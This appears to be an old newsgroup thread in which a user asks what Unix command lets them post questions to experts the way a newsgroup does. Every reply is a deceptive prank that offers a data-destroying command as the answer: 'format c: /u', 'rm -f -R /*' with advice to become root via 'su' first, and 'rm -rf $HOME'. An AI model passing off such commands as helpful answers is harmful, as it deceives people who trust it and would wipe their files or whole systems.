Unix command that can post question to a group of expert like using the newsgroup.

I know that I can use the news group to post questions. But last time, one
of my friend show me that you can do the same thing using a unix command. I
don't remember the command, but I know it is not "trn", or "archie". Can
someone tell me what is the command?

Thanks in advance;

It's "format c: /u"

But he wanted a UNIX command!
Use this instead: "rm -f -R /* "

And be sure you have done "su" first!

This is even better: "rm -rf $HOME".
